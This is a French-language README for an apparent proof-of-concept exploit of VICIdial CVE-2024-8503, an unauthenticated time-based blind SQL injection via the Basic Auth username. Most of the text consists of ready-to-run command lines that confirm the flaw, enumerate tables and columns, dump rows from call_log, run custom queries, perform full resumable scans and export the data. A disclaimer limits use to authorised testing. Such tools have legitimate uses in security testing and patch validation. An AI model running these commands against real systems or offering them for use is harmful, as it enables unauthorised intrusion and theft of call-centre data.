
Preuve de concept (PoC) d'injection SQL aveugle basée sur le temps, sans authentification, pour VICIdial CVE-2024-8503, avec extraction de métadonnées, analyses reprises et limites de sécurité strictes.
Preuve de concept d'injection SQL aveugle basée sur le temps non authentifiée pour le point de terminaison VERM_AJAX_functions.php de VICIdial (CVE-2024-8503). Ce projet est destiné uniquement aux tests de sécurité autorisés, à la validation et à l'éducation.
CVE-2024-8503 est une injection SQL non authentifiée dans VICIdial où une valeur de nom d'utilisateur Basic Auth spécialement conçue peut atteindre une logique de requête vulnérable dans VERM_AJAX_functions.php. Cette preuve de concept utilise l'inférence temporelle pour confirmer l'exploitabilité et extraire des métadonnées et données de tables limitées de manière contrôlée.
Applique des limites strictes de preuve de concept :
requestsInstaller les dépendances :
pip install requests
Exécutez l'auto-vérification locale pour confirmer la configuration sans effectuer de requêtes réseau :
python3 CVE-2024-8503-POC.py --self-check
Exécutez une analyse non interactive de base :
python3 CVE-2024-8503-POC.py --url https://target.tld
Le mode interactif est un flux de travail séparé pour les tests pilotés par l'opérateur. Il est utile lorsque vous souhaitez parcourir les tâches d'extraction manuellement plutôt que d'exécuter une seule commande.
python3 CVE-2024-8503-POC.py --url https://target.tld --interactive
Le menu interactif prend en charge l'extraction de métadonnées, la découverte de tables et de colonnes, l'extraction manuelle, l'extraction automatique, les requêtes personnalisées et les analyses complètes pouvant être reprises.
Utilisez ces commandes lorsque vous souhaitez effectuer une tâche spécifique sans entrer dans le menu interactif.
Extraire les métadonnées :
python3 CVE-2024-8503-POC.py --url https://target.tld --metadata db_version database db_user
Lister les tables :
python3 CVE-2024-8503-POC.py --url https://target.tld --list-tables
Obtenir les colonnes d'une table :
python3 CVE-2024-8503-POC.py --url https://target.tld --get-columns call_log
Extraire des colonnes spécifiques :
python3 CVE-2024-8503-POC.py --url https://target.tld --table call_log --columns uniqueid,channel --rows 3
Extraire automatiquement les données d'une table :
python3 CVE-2024-8503-POC.py --url https://target.tld --auto-extract call_log
Analyse complète :
python3 CVE-2024-8503-POC.py --url https://target.tld --full-scan
Requête personnalisée (SELECT uniquement) :
python3 CVE-2024-8503-POC.py --url https://target.tld --custom-query "SELECT DATABASE()"
Indicateurs optionnels :
--path pour modifier le chemin du point de terminaison (par défaut : /VERM/VERM_AJAX_functions.php)--skip-vuln-check pour ignorer la sonde de confirmation initiale--export pour enregistrer les résultats (JSON pour les métadonnées/analyse complète, CSV pour les données de table)La progression est enregistrée automatiquement dans :
.vicidial_scan_state.json
Si une analyse précédente est détectée, le script proposera de la reprendre ou d'effacer l'état.
LICENSE correspondant doit être ajouté à la racine du dépôt ; ce README suppose la licence MIT.Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation. L'accès non autorisé à des systèmes informatiques est illégal. Vous devez obtenir une autorisation écrite explicite avant de tester tout système que vous ne possédez pas. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.
Ce projet est sous licence MIT. Consultez le fichier LICENSE au niveau du dépôt pour plus de détails.